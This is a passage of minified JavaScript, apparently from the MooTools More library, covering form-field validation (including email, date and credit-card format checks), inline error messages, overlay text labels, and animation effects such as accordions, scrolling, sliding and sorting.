var d=a.some(function(k){return this.getValidator(k);},this);var h=[];a.each(function(k){if(k&&!this.test(k,j)){h.include(k);}},this);f=h.length===0;if(d&&!this.hasValidator(j,"warnOnly")){if(f){j.addClass("validation-passed").removeClass("validation-failed");
this.fireEvent("elementPass",[j]);}else{j.addClass("validation-failed").removeClass("validation-passed");this.fireEvent("elementFail",[j,h]);}}if(!i){var e=a.some(function(k){if(k.test("^warn")){return this.getValidator(k.replace(/^warn-/,""));
}else{return null;}},this);j.removeClass("warning");var c=a.map(function(k){if(k.test("^warn")){return this.test(k.replace(/^warn-/,""),j,true);}else{return null;
}},this);}}return f;},test:function(b,d,e){d=document.id(d);if((this.options.ignoreHidden&&!d.isVisible())||(this.options.ignoreDisabled&&d.get("disabled"))){return true;
}var a=this.getValidator(b);if(e!=null){e=false;}if(this.hasValidator(d,"warnOnly")){e=true;}var c=this.hasValidator(d,"ignoreValidation")||(a?a.test(d):true);
if(a&&d.isVisible()){this.fireEvent("elementValidate",[c,d,b,e]);}if(e){return true;}return c;},hasValidator:function(b,a){return b.get("validators").contains(a);
},resetField:function(a){a=document.id(a);if(a){a.get("validators").each(function(b){if(b.test("^warn-")){b=b.replace(/^warn-/,"");}a.removeClass("validation-failed");
a.removeClass("warning");a.removeClass("validation-passed");},this);}return this;},stop:function(){this.paused=true;return this;},start:function(){this.paused=false;
return this;},ignoreField:function(a,b){a=document.id(a);if(a){this.enforceField(a);if(b){a.addClass("warnOnly");}else{a.addClass("ignoreValidation");}}return this;
},enforceField:function(a){a=document.id(a);if(a){a.removeClass("warnOnly").removeClass("ignoreValidation");}return this;}});Form.Validator.getMsg=function(a){return Locale.get("FormValidator."+a);
};Form.Validator.adders={validators:{},add:function(b,a){this.validators[b]=new InputValidator(b,a);if(!this.initialize){this.implement({validators:this.validators});
}},addAllThese:function(a){Array.from(a).each(function(b){this.add(b[0],b[1]);},this);},getValidator:function(a){return this.validators[a.split(":")[0]];
}};Object.append(Form.Validator,Form.Validator.adders);Form.Validator.implement(Form.Validator.adders);Form.Validator.add("IsEmpty",{errorMsg:false,test:function(a){if(a.type=="select-one"||a.type=="select"){return !(a.selectedIndex>=0&&a.options[a.selectedIndex].value!="");
}else{return((a.get("value")==null)||(a.get("value").length==0));}}});Form.Validator.addAllThese([["required",{errorMsg:function(){return Form.Validator.getMsg("required");
},test:function(a){return !Form.Validator.getValidator("IsEmpty").test(a);}}],["length",{errorMsg:function(a,b){if(typeOf(b.length)!="null"){return Form.Validator.getMsg("length").substitute({length:b.length,elLength:a.get("value").length});
}else{return"";}},test:function(a,b){if(typeOf(b.length)!="null"){return(a.get("value").length==b.length||a.get("value").length==0);}else{return true;}}}],["minLength",{errorMsg:function(a,b){if(typeOf(b.minLength)!="null"){return Form.Validator.getMsg("minLength").substitute({minLength:b.minLength,length:a.get("value").length});
}else{return"";}},test:function(a,b){if(typeOf(b.minLength)!="null"){return(a.get("value").length>=(b.minLength||0));}else{return true;}}}],["maxLength",{errorMsg:function(a,b){if(typeOf(b.maxLength)!="null"){return Form.Validator.getMsg("maxLength").substitute({maxLength:b.maxLength,length:a.get("value").length});
}else{return"";}},test:function(a,b){return a.get("value").length<=(b.maxLength||10000);}}],["validate-integer",{errorMsg:Form.Validator.getMsg.pass("integer"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^(-?[1-9]\d*|0)$/).test(a.get("value"));
}}],["validate-numeric",{errorMsg:Form.Validator.getMsg.pass("numeric"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^-?(?:0$0(?=\d*\.)|[1-9]|0)\d*(\.\d+)?$/).test(a.get("value"));
}}],["validate-digits",{errorMsg:Form.Validator.getMsg.pass("digits"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^[\d() .:\-\+#]+$/.test(a.get("value")));
}}],["validate-alpha",{errorMsg:Form.Validator.getMsg.pass("alpha"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^[a-zA-Z]+$/).test(a.get("value"));
}}],["validate-alphanum",{errorMsg:Form.Validator.getMsg.pass("alphanum"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||!(/\W/).test(a.get("value"));
}}],["validate-date",{errorMsg:function(a,b){if(Date.parse){var c=b.dateFormat||"%x";return Form.Validator.getMsg("dateSuchAs").substitute({date:new Date().format(c)});
}else{return Form.Validator.getMsg("dateInFormatMDY");}},test:function(e,g){if(Form.Validator.getValidator("IsEmpty").test(e)){return true;}var a=Locale.getCurrent().sets.Date,b=new RegExp([a.days,a.days_abbr,a.months,a.months_abbr].flatten().join("|"),"i"),i=e.get("value"),f=i.match(/[a-z]+/gi);
if(f&&!f.every(b.exec,b)){return false;}var c=Date.parse(i),h=g.dateFormat||"%x",d=c.format(h);if(d!="invalid date"){e.set("value",d);}return c.isValid();
}}],["validate-email",{errorMsg:Form.Validator.getMsg.pass("email"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^(?:[a-z0-9!#$%&'*+\/=?^_`{|}~-]\.?){0,63}[a-z0-9!#$%&'*+\/=?^_`{|}~-]@(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\])$/i).test(a.get("value"));
}}],["validate-url",{errorMsg:Form.Validator.getMsg.pass("url"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^(https?|ftp|rmtp|mms):\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)(:(\d+))?\/?/i).test(a.get("value"));
}}],["validate-currency-dollar",{errorMsg:Form.Validator.getMsg.pass("currencyDollar"),test:function(a){return Form.Validator.getValidator("IsEmpty").test(a)||(/^\$?\-?([1-9]{1}[0-9]{0,2}(\,[0-9]{3})*(\.[0-9]{0,2})?|[1-9]{1}\d*(\.[0-9]{0,2})?|0(\.[0-9]{0,2})?|(\.[0-9]{1,2})?)$/).test(a.get("value"));
}}],["validate-one-required",{errorMsg:Form.Validator.getMsg.pass("oneRequired"),test:function(a,b){var c=document.id(b["validate-one-required"])||a.getParent(b["validate-one-required"]);
return c.getElements("input").some(function(d){if(["checkbox","radio"].contains(d.get("type"))){return d.get("checked");}return d.get("value");});}}]]);
Element.Properties.validator={set:function(a){this.get("validator").setOptions(a);},get:function(){var a=this.retrieve("validator");if(!a){a=new Form.Validator(this);
this.store("validator",a);}return a;}};Element.implement({validate:function(a){if(a){this.set("validator",a);}return this.get("validator").validate();}});
Form.Validator.Inline=new Class({Extends:Form.Validator,options:{showError:function(a){if(a.reveal){a.reveal();}else{a.setStyle("display","block");}},hideError:function(a){if(a.dissolve){a.dissolve();
}else{a.setStyle("display","none");}},scrollToErrorsOnSubmit:true,scrollToErrorsOnBlur:false,scrollToErrorsOnChange:false,scrollFxOptions:{transition:"quad:out",offset:{y:-20}}},initialize:function(b,a){this.parent(b,a);
this.addEvent("onElementValidate",function(g,f,e,h){var d=this.getValidator(e);if(!g&&d.getError(f)){if(h){f.addClass("warning");}var c=this.makeAdvice(e,f,d.getError(f),h);
this.insertAdvice(c,f);this.showAdvice(e,f);}else{this.hideAdvice(e,f);}});},makeAdvice:function(d,f,c,g){var e=(g)?this.warningPrefix:this.errorPrefix;
e+=(this.options.useTitles)?f.title||c:c;var a=(g)?"warning-advice":"validation-advice";var b=this.getAdvice(d,f);if(b){b=b.set("html",e);}else{b=new Element("div",{html:e,styles:{display:"none"},id:"advice-"+d.split(":")[0]+"-"+this.getFieldId(f)}).addClass(a);
}f.store("$moo:advice-"+d,b);return b;},getFieldId:function(a){return a.id?a.id:a.id="input_"+a.name;},showAdvice:function(b,c){var a=this.getAdvice(b,c);
if(a&&!c.retrieve("$moo:"+this.getPropName(b))&&(a.getStyle("display")=="none"||a.getStyle("visiblity")=="hidden"||a.getStyle("opacity")==0)){c.store("$moo:"+this.getPropName(b),true);
this.options.showError(a);this.fireEvent("showAdvice",[c,a,b]);}},hideAdvice:function(b,c){var a=this.getAdvice(b,c);if(a&&c.retrieve("$moo:"+this.getPropName(b))){c.store("$moo:"+this.getPropName(b),false);
this.options.hideError(a);this.fireEvent("hideAdvice",[c,a,b]);}},getPropName:function(a){return"advice"+a;},resetField:function(a){a=document.id(a);if(!a){return this;
}this.parent(a);a.get("validators").each(function(b){this.hideAdvice(b,a);},this);return this;},getAllAdviceMessages:function(d,c){var b=[];if(d.hasClass("ignoreValidation")&&!c){return b;
}var a=d.get("validators").some(function(g){var e=g.test("^warn-")||d.hasClass("warnOnly");if(e){g=g.replace(/^warn-/,"");}var f=this.getValidator(g);if(!f){return;
}b.push({message:f.getError(d),warnOnly:e,passed:f.test(),validator:f});},this);return b;},getAdvice:function(a,b){return b.retrieve("$moo:advice-"+a);
},insertAdvice:function(a,c){var b=c.get("validatorProps");if(!b.msgPos||!document.id(b.msgPos)){if(c.type&&c.type.toLowerCase()=="radio"){c.getParent().adopt(a);
}else{a.inject(document.id(c),"after");}}else{document.id(b.msgPos).grab(a);}},validateField:function(g,f,b){var a=this.parent(g,f);if(((this.options.scrollToErrorsOnSubmit&&b==null)||b)&&!a){var c=document.id(this).getElement(".validation-failed");
var d=document.id(this).getParent();while(d!=document.body&&d.getScrollSize().y==d.getSize().y){d=d.getParent();}var e=d.retrieve("$moo:fvScroller");if(!e&&window.Fx&&Fx.Scroll){e=new Fx.Scroll(d,this.options.scrollFxOptions);
d.store("$moo:fvScroller",e);}if(c){if(e){e.toElement(c);}else{d.scrollTo(d.getScroll().x,c.getPosition(d).y-20);}}}return a;},watchFields:function(a){a.each(function(b){if(this.options.evaluateFieldsOnBlur){b.addEvent("blur",this.validationMonitor.pass([b,false,this.options.scrollToErrorsOnBlur],this));
}if(this.options.evaluateFieldsOnChange){b.addEvent("change",this.validationMonitor.pass([b,true,this.options.scrollToErrorsOnChange],this));}},this);}});
Form.Validator.addAllThese([["validate-enforce-oncheck",{test:function(a,b){var c=a.getParent("form").retrieve("validator");if(!c){return true;}(b.toEnforce||document.id(b.enforceChildrenOf).getElements("input, select, textarea")).map(function(d){if(a.checked){c.enforceField(d);
}else{c.ignoreField(d);c.resetField(d);}});return true;}}],["validate-ignore-oncheck",{test:function(a,b){var c=a.getParent("form").retrieve("validator");
if(!c){return true;}(b.toIgnore||document.id(b.ignoreChildrenOf).getElements("input, select, textarea")).each(function(d){if(a.checked){c.ignoreField(d);
c.resetField(d);}else{c.enforceField(d);}});return true;}}],["validate-nospace",{errorMsg:function(){return Form.Validator.getMsg("noSpace");},test:function(a,b){return !a.get("value").test(/\s/);
}}],["validate-toggle-oncheck",{test:function(b,c){var d=b.getParent("form").retrieve("validator");if(!d){return true;}var a=c.toToggle||document.id(c.toToggleChildrenOf).getElements("input, select, textarea");
if(!b.checked){a.each(function(e){d.ignoreField(e);d.resetField(e);});}else{a.each(function(e){d.enforceField(e);});}return true;}}],["validate-reqchk-bynode",{errorMsg:function(){return Form.Validator.getMsg("reqChkByNode");
},test:function(a,b){return(document.id(b.nodeId).getElements(b.selector||"input[type=checkbox], input[type=radio]")).some(function(c){return c.checked;
});}}],["validate-required-check",{errorMsg:function(a,b){return b.useTitle?a.get("title"):Form.Validator.getMsg("requiredChk");},test:function(a,b){return !!a.checked;
}}],["validate-reqchk-byname",{errorMsg:function(a,b){return Form.Validator.getMsg("reqChkByName").substitute({label:b.label||a.get("type")});},test:function(b,d){var c=d.groupName||b.get("name");
var a=$$(document.getElementsByName(c)).some(function(g,f){return g.checked;});var e=b.getParent("form").retrieve("validator");if(a&&e){e.resetField(b);
}return a;}}],["validate-match",{errorMsg:function(a,b){return Form.Validator.getMsg("match").substitute({matchName:b.matchName||document.id(b.matchInput).get("name")});
},test:function(b,c){var d=b.get("value");var a=document.id(c.matchInput)&&document.id(c.matchInput).get("value");return d&&a?d==a:true;}}],["validate-after-date",{errorMsg:function(a,b){return Form.Validator.getMsg("afterDate").substitute({label:b.afterLabel||(b.afterElement?Form.Validator.getMsg("startDate"):Form.Validator.getMsg("currentDate"))});
},test:function(b,c){var d=document.id(c.afterElement)?Date.parse(document.id(c.afterElement).get("value")):new Date();var a=Date.parse(b.get("value"));
return a&&d?a>=d:true;}}],["validate-before-date",{errorMsg:function(a,b){return Form.Validator.getMsg("beforeDate").substitute({label:b.beforeLabel||(b.beforeElement?Form.Validator.getMsg("endDate"):Form.Validator.getMsg("currentDate"))});
},test:function(b,c){var d=Date.parse(b.get("value"));var a=document.id(c.beforeElement)?Date.parse(document.id(c.beforeElement).get("value")):new Date();
return a&&d?a>=d:true;}}],["validate-custom-required",{errorMsg:function(){return Form.Validator.getMsg("required");},test:function(a,b){return a.get("value")!=b.emptyValue;
}}],["validate-same-month",{errorMsg:function(a,b){var c=document.id(b.sameMonthAs)&&document.id(b.sameMonthAs).get("value");var d=a.get("value");if(d!=""){return Form.Validator.getMsg(c?"sameMonth":"startMonth");
}},test:function(a,b){var d=Date.parse(a.get("value"));var c=Date.parse(document.id(b.sameMonthAs)&&document.id(b.sameMonthAs).get("value"));return d&&c?d.format("%B")==c.format("%B"):true;
}}],["validate-cc-num",{errorMsg:function(a){var b=a.get("value").replace(/[^0-9]/g,"");return Form.Validator.getMsg("creditcard").substitute({length:b.length});
},test:function(c){if(Form.Validator.getValidator("IsEmpty").test(c)){return true;}var g=c.get("value");g=g.replace(/[^0-9]/g,"");var a=false;if(g.test(/^4[0-9]{12}([0-9]{3})?$/)){a="Visa";
}else{if(g.test(/^5[1-5]([0-9]{14})$/)){a="Master Card";}else{if(g.test(/^3[47][0-9]{13}$/)){a="American Express";}else{if(g.test(/^6011[0-9]{12}$/)){a="Discover";
}}}}if(a){var d=0;var e=0;for(var b=g.length-1;b>=0;--b){e=g.charAt(b).toInt();if(e==0){continue;}if((g.length-b)%2==0){e+=e;}if(e>9){e=e.toString().charAt(0).toInt()+e.toString().charAt(1).toInt();
}d+=e;}if((d%10)==0){return true;}}var f="";while(g!=""){f+=" "+g.substr(0,4);g=g.substr(4);}c.getParent("form").retrieve("validator").ignoreField(c);c.set("value",f.clean());
c.getParent("form").retrieve("validator").enforceField(c);return false;}}]]);var OverText=new Class({Implements:[Options,Events,Class.Occlude],Binds:["reposition","assert","focus","hide"],options:{element:"label",labelClass:"overTxtLabel",positionOptions:{position:"upperLeft",edge:"upperLeft",offset:{x:4,y:2}},poll:false,pollInterval:250,wrap:false},property:"OverText",initialize:function(b,a){b=this.element=document.id(b);
if(this.occlude()){return this.occluded;}this.setOptions(a);this.attach(b);OverText.instances.push(this);if(this.options.poll){this.poll();}},toElement:function(){return this.element;
},attach:function(){var b=this.element,a=this.options,c=a.textOverride||b.get("alt")||b.get("title");if(!c){return this;}var d=this.text=new Element(a.element,{"class":a.labelClass,styles:{lineHeight:"normal",position:"absolute",cursor:"text"},html:c,events:{click:this.hide.pass(a.element=="label",this)}}).inject(b,"after");
if(a.element=="label"){if(!b.get("id")){b.set("id","input_"+String.uniqueID());}d.set("for",b.get("id"));}if(a.wrap){this.textHolder=new Element("div.overTxtWrapper",{styles:{lineHeight:"normal",position:"relative"}}).grab(d).inject(b,"before");
}return this.enable();},destroy:function(){this.element.eliminate(this.property);this.disable();if(this.text){this.text.destroy();}if(this.textHolder){this.textHolder.destroy();
}return this;},disable:function(){this.element.removeEvents({focus:this.focus,blur:this.assert,change:this.assert});window.removeEvent("resize",this.reposition);
this.hide(true,true);return this;},enable:function(){this.element.addEvents({focus:this.focus,blur:this.assert,change:this.assert});window.addEvent("resize",this.reposition);
this.reposition();return this;},wrap:function(){if(this.options.element=="label"){if(!this.element.get("id")){this.element.set("id","input_"+String.uniqueID());
}this.text.set("for",this.element.get("id"));}},startPolling:function(){this.pollingPaused=false;return this.poll();},poll:function(a){if(this.poller&&!a){return this;
}if(a){clearInterval(this.poller);}else{this.poller=(function(){if(!this.pollingPaused){this.assert(true);}}).periodical(this.options.pollInterval,this);
}return this;},stopPolling:function(){this.pollingPaused=true;return this.poll(true);},focus:function(){if(this.text&&(!this.text.isDisplayed()||this.element.get("disabled"))){return this;
}return this.hide();},hide:function(c,a){if(this.text&&(this.text.isDisplayed()&&(!this.element.get("disabled")||a))){this.text.hide();this.fireEvent("textHide",[this.text,this.element]);
this.pollingPaused=true;if(!c){try{this.element.fireEvent("focus");this.element.focus();}catch(b){}}}return this;},show:function(){if(this.text&&!this.text.isDisplayed()){this.text.show();
this.reposition();this.fireEvent("textShow",[this.text,this.element]);this.pollingPaused=false;}return this;},test:function(){return !this.element.get("value");
},assert:function(a){return this[this.test()?"show":"hide"](a);},reposition:function(){this.assert(true);if(!this.element.isVisible()){return this.stopPolling().hide();
}if(this.text&&this.test()){this.text.position(Object.merge(this.options.positionOptions,{relativeTo:this.element}));}return this;}});OverText.instances=[];
Object.append(OverText,{each:function(a){return OverText.instances.each(function(c,b){if(c.element&&c.text){a.call(OverText,c,b);}});},update:function(){return OverText.each(function(a){return a.reposition();
});},hideAll:function(){return OverText.each(function(a){return a.hide(true,true);});},showAll:function(){return OverText.each(function(a){return a.show();
});}});Fx.Elements=new Class({Extends:Fx.CSS,initialize:function(b,a){this.elements=this.subject=$$(b);this.parent(a);},compute:function(g,h,j){var c={};
for(var d in g){var a=g[d],e=h[d],f=c[d]={};for(var b in a){f[b]=this.parent(a[b],e[b],j);}}return c;},set:function(b){for(var c in b){if(!this.elements[c]){continue;
}var a=b[c];for(var d in a){this.render(this.elements[c],d,a[d],this.options.unit);}}return this;},start:function(c){if(!this.check(c)){return this;}var h={},j={};
for(var d in c){if(!this.elements[d]){continue;}var f=c[d],a=h[d]={},g=j[d]={};for(var b in f){var e=this.prepare(this.elements[d],b,f[b]);a[b]=e.from;
g[b]=e.to;}}return this.parent(h,j);}});Fx.Accordion=new Class({Extends:Fx.Elements,options:{fixedHeight:false,fixedWidth:false,display:0,show:false,height:true,width:false,opacity:true,alwaysHide:false,trigger:"click",initialDisplayFx:true,resetHeight:true},initialize:function(){var g=function(h){return h!=null;
};var f=Array.link(arguments,{container:Type.isElement,options:Type.isObject,togglers:g,elements:g});this.parent(f.elements,f.options);var b=this.options,e=this.togglers=$$(f.togglers);
this.previous=-1;this.internalChain=new Chain();if(b.alwaysHide){this.options.link="chain";}if(b.show||this.options.show===0){b.display=false;this.previous=b.show;
}if(b.start){b.display=false;b.show=false;}var d=this.effects={};if(b.opacity){d.opacity="fullOpacity";}if(b.width){d.width=b.fixedWidth?"fullWidth":"offsetWidth";
}if(b.height){d.height=b.fixedHeight?"fullHeight":"scrollHeight";}for(var c=0,a=e.length;c<a;c++){this.addSection(e[c],this.elements[c]);}this.elements.each(function(j,h){if(b.show===h){this.fireEvent("active",[e[h],j]);
}else{for(var k in d){j.setStyle(k,0);}}},this);if(b.display||b.display===0||b.initialDisplayFx===false){this.display(b.display,b.initialDisplayFx);}if(b.fixedHeight!==false){b.resetHeight=false;
}this.addEvent("complete",this.internalChain.callChain.bind(this.internalChain));},addSection:function(g,d){g=document.id(g);d=document.id(d);this.togglers.include(g);
this.elements.include(d);var f=this.togglers,c=this.options,h=f.contains(g),a=f.indexOf(g),b=this.display.pass(a,this);g.store("accordion:display",b).addEvent(c.trigger,b);
if(c.height){d.setStyles({"padding-top":0,"border-top":"none","padding-bottom":0,"border-bottom":"none"});}if(c.width){d.setStyles({"padding-left":0,"border-left":"none","padding-right":0,"border-right":"none"});
}d.fullOpacity=1;if(c.fixedWidth){d.fullWidth=c.fixedWidth;}if(c.fixedHeight){d.fullHeight=c.fixedHeight;}d.setStyle("overflow","hidden");if(!h){for(var e in this.effects){d.setStyle(e,0);
}}return this;},removeSection:function(f,b){var e=this.togglers,a=e.indexOf(f),c=this.elements[a];var d=function(){e.erase(f);this.elements.erase(c);this.detach(f);
}.bind(this);if(this.now==a||b!=null){this.display(b!=null?b:(a-1>=0?a-1:0)).chain(d);}else{d();}return this;},detach:function(b){var a=function(c){c.removeEvent(this.options.trigger,c.retrieve("accordion:display"));
}.bind(this);if(!b){this.togglers.each(a);}else{a(b);}return this;},display:function(b,c){if(!this.check(b,c)){return this;}var h={},g=this.elements,a=this.options,f=this.effects;
if(c==null){c=true;}if(typeOf(b)=="element"){b=g.indexOf(b);}if(b==this.previous&&!a.alwaysHide){return this;}if(a.resetHeight){var e=g[this.previous];
if(e&&!this.selfHidden){for(var d in f){e.setStyle(d,e[f[d]]);}}}if((this.timer&&a.link=="chain")||(b===this.previous&&!a.alwaysHide)){return this;}this.previous=b;
this.selfHidden=false;g.each(function(l,k){h[k]={};var j;if(k!=b){j=true;}else{if(a.alwaysHide&&((l.offsetHeight>0&&a.height)||l.offsetWidth>0&&a.width)){j=true;
this.selfHidden=true;}}this.fireEvent(j?"background":"active",[this.togglers[k],l]);for(var m in f){h[k][m]=j?0:l[f[m]];}if(!c&&!j&&a.resetHeight){h[k].height="auto";
}},this);this.internalChain.clearChain();this.internalChain.chain(function(){if(a.resetHeight&&!this.selfHidden){var i=g[b];if(i){i.setStyle("height","auto");
}}}.bind(this));return c?this.start(h):this.set(h).internalChain.callChain();}});Fx.Move=new Class({Extends:Fx.Morph,options:{relativeTo:document.body,position:"center",edge:false,offset:{x:0,y:0}},start:function(a){var b=this.element,c=b.getStyles("top","left");
if(c.top=="auto"||c.left=="auto"){b.setPosition(b.getPosition(b.getOffsetParent()));}return this.parent(b.position(Object.merge({},this.options,a,{returnPos:true})));
}});Element.Properties.move={set:function(a){this.get("move").cancel().setOptions(a);return this;},get:function(){var a=this.retrieve("move");if(!a){a=new Fx.Move(this,{link:"cancel"});
this.store("move",a);}return a;}};Element.implement({move:function(a){this.get("move").start(a);return this;}});(function(){Fx.Scroll=new Class({Extends:Fx,options:{offset:{x:0,y:0},wheelStops:true},initialize:function(c,b){this.element=this.subject=document.id(c);
this.parent(b);if(typeOf(this.element)!="element"){this.element=document.id(this.element.getDocument().body);}if(this.options.wheelStops){var d=this.element,e=this.cancel.pass(false,this);
this.addEvent("start",function(){d.addEvent("mousewheel",e);},true);this.addEvent("complete",function(){d.removeEvent("mousewheel",e);},true);}},set:function(){var b=Array.flatten(arguments);
if(Browser.firefox){b=[Math.round(b[0]),Math.round(b[1])];}this.element.scrollTo(b[0],b[1]);return this;},compute:function(d,c,b){return[0,1].map(function(e){return Fx.compute(d[e],c[e],b);
});},start:function(c,d){if(!this.check(c,d)){return this;}var b=this.element.getScroll();return this.parent([b.x,b.y],[c,d]);},calculateScroll:function(g,f){var d=this.element,b=d.getScrollSize(),h=d.getScroll(),j=d.getSize(),c=this.options.offset,i={x:g,y:f};
for(var e in i){if(!i[e]&&i[e]!==0){i[e]=h[e];}if(typeOf(i[e])!="number"){i[e]=b[e]-j[e];}i[e]+=c[e];}return[i.x,i.y];},toTop:function(){return this.start.apply(this,this.calculateScroll(false,0));
},toLeft:function(){return this.start.apply(this,this.calculateScroll(0,false));},toRight:function(){return this.start.apply(this,this.calculateScroll("right",false));
},toBottom:function(){return this.start.apply(this,this.calculateScroll(false,"bottom"));},toElement:function(d,e){e=e?Array.from(e):["x","y"];var c=a(this.element)?{x:0,y:0}:this.element.getScroll();
var b=Object.map(document.id(d).getPosition(this.element),function(g,f){return e.contains(f)?g+c[f]:false;});return this.start.apply(this,this.calculateScroll(b.x,b.y));
},toElementEdge:function(d,g,e){g=g?Array.from(g):["x","y"];d=document.id(d);var i={},f=d.getPosition(this.element),j=d.getSize(),h=this.element.getScroll(),b=this.element.getSize(),c={x:f.x+j.x,y:f.y+j.y};
["x","y"].each(function(k){if(g.contains(k)){if(c[k]>h[k]+b[k]){i[k]=c[k]-b[k];}if(f[k]<h[k]){i[k]=f[k];}}if(i[k]==null){i[k]=h[k];}if(e&&e[k]){i[k]=i[k]+e[k];
}},this);if(i.x!=h.x||i.y!=h.y){this.start(i.x,i.y);}return this;},toElementCenter:function(e,f,h){f=f?Array.from(f):["x","y"];e=document.id(e);var i={},c=e.getPosition(this.element),d=e.getSize(),b=this.element.getScroll(),g=this.element.getSize();
["x","y"].each(function(j){if(f.contains(j)){i[j]=c[j]-(g[j]-d[j])/2;}if(i[j]==null){i[j]=b[j];}if(h&&h[j]){i[j]=i[j]+h[j];}},this);if(i.x!=b.x||i.y!=b.y){this.start(i.x,i.y);
}return this;}});function a(b){return(/^(?:body|html)$/i).test(b.tagName);}})();Fx.Slide=new Class({Extends:Fx,options:{mode:"vertical",wrapper:false,hideOverflow:true,resetHeight:false},initialize:function(b,a){b=this.element=this.subject=document.id(b);
this.parent(a);a=this.options;var d=b.retrieve("wrapper"),c=b.getStyles("margin","position","overflow");if(a.hideOverflow){c=Object.append(c,{overflow:"hidden"});
}if(a.wrapper){d=document.id(a.wrapper).setStyles(c);}if(!d){d=new Element("div",{styles:c}).wraps(b);}b.store("wrapper",d).setStyle("margin",0);if(b.getStyle("overflow")=="visible"){b.setStyle("overflow","hidden");
}this.now=[];this.open=true;this.wrapper=d;this.addEvent("complete",function(){this.open=(d["offset"+this.layout.capitalize()]!=0);if(this.open&&this.options.resetHeight){d.setStyle("height","");
}},true);},vertical:function(){this.margin="margin-top";this.layout="height";this.offset=this.element.offsetHeight;},horizontal:function(){this.margin="margin-left";
this.layout="width";this.offset=this.element.offsetWidth;},set:function(a){this.element.setStyle(this.margin,a[0]);this.wrapper.setStyle(this.layout,a[1]);
return this;},compute:function(c,b,a){return[0,1].map(function(d){return Fx.compute(c[d],b[d],a);});},start:function(b,e){if(!this.check(b,e)){return this;
}this[e||this.options.mode]();var d=this.element.getStyle(this.margin).toInt(),c=this.wrapper.getStyle(this.layout).toInt(),a=[[d,c],[0,this.offset]],g=[[d,c],[-this.offset,0]],f;
switch(b){case"in":f=a;break;case"out":f=g;break;case"toggle":f=(c==0)?a:g;}return this.parent(f[0],f[1]);},slideIn:function(a){return this.start("in",a);
},slideOut:function(a){return this.start("out",a);},hide:function(a){this[a||this.options.mode]();this.open=false;return this.set([-this.offset,0]);},show:function(a){this[a||this.options.mode]();
this.open=true;return this.set([0,this.offset]);},toggle:function(a){return this.start("toggle",a);}});Element.Properties.slide={set:function(a){this.get("slide").cancel().setOptions(a);
return this;},get:function(){var a=this.retrieve("slide");if(!a){a=new Fx.Slide(this,{link:"cancel"});this.store("slide",a);}return a;}};Element.implement({slide:function(d,e){d=d||"toggle";
var b=this.get("slide"),a;switch(d){case"hide":b.hide(e);break;case"show":b.show(e);break;case"toggle":var c=this.retrieve("slide:flag",b.open);b[c?"slideOut":"slideIn"](e);
this.store("slide:flag",!c);a=true;break;default:b.start(d,e);}if(!a){this.eliminate("slide:flag");}return this;}});Fx.SmoothScroll=new Class({Extends:Fx.Scroll,options:{axes:["x","y"]},initialize:function(c,d){d=d||document;
this.doc=d.getDocument();this.parent(this.doc,c);var e=d.getWindow(),a=e.location.href.match(/^[^#]*/)[0]+"#",b=$$(this.options.links||this.doc.links);
b.each(function(g){if(g.href.indexOf(a)!=0){return;}var f=g.href.substr(a.length);if(f){this.useLink(g,f);}},this);this.addEvent("complete",function(){e.location.hash=this.anchor;
this.element.scrollTo(this.to[0],this.to[1]);},true);},useLink:function(b,a){b.addEvent("click",function(d){var c=document.id(a)||this.doc.getElement("a[name="+a+"]");
if(!c){return;}d.preventDefault();this.toElement(c,this.options.axes).chain(function(){this.fireEvent("scrolledTo",[b,c]);}.bind(this));this.anchor=a;}.bind(this));
return this;}});Fx.Sort=new Class({Extends:Fx.Elements,options:{mode:"vertical"},initialize:function(b,a){this.parent(b,a);this.elements.each(function(c){if(c.getStyle("position")=="static"){c.setStyle("position","relative");
}});this.setDefaultOrder();},setDefaultOrder:function(){this.currentOrder=this.elements.map(function(b,a){return a;});},sort:function(){if(!this.check(arguments)){return this;
}var e=Array.flatten(arguments);var i=0,a=0,c={},h={},d=this.options.mode=="vertical";var f=this.elements.map(function(m,k){var l=m.getComputedSize({styles:["border","padding","margin"]});
var n;if(d){n={top:i,margin:l["margin-top"],height:l.totalHeight};i+=n.height-l["margin-top"];}else{n={left:a,margin:l["margin-left"],width:l.totalWidth};
a+=n.width;}var j=d?"top":"left";h[k]={};var o=m.getStyle(j).toInt();h[k][j]=o||0;return n;},this);this.set(h);e=e.map(function(j){return j.toInt();});
if(e.length!=this.elements.length){this.currentOrder.each(function(j){if(!e.contains(j)){e.push(j);}});if(e.length>this.elements.length){e.splice(this.elements.length-1,e.length-this.elements.length);
}}var b=0;i=a=0;e.each(function(k){var j={};if(d){j.top=i-f[k].top-b;i+=f[k].height;}else{j.left=a-f[k].left;a+=f[k].width;}b=b+f[k].margin;c[k]=j;},this);
var g={};Array.clone(e).sort().each(function(j){g[j]=c[j];});this.start(g);this.currentOrder=e;return this;},rearrangeDOM:function(a){a=a||this.currentOrder;
var b=this.elements[0].getParent();var c=[];this.elements.setStyle("opacity",0);a.each(function(d){c.push(this.elements[d].inject(b).setStyles({top:0,left:0}));
},this);this.elements.setStyle("opacity",1);this.elements=$$(c);this.setDefaultOrder();return this;},getDefaultOrder:function(){return this.elements.map(function(b,a){return a;
});},getCurrentOrder:function(){return this.currentOrder;},forward:function(){return this.sort(this.getDefaultOrder());},backward:function(){return this.sort(this.getDefaultOrder().reverse());
},reverse:function(){return this.sort(this.currentOrder.reverse());},sortByElements:function(a){return this.sort(a.map(function(b){return this.elements.indexOf(b);
},this));},swap:function(c,b){if(typeOf(c)=="element"){c=this.elements.indexOf(c);}if(typeOf(b)=="element"){b=this.elements.indexOf(b);}var a=Array.clone(this.currentOrder);
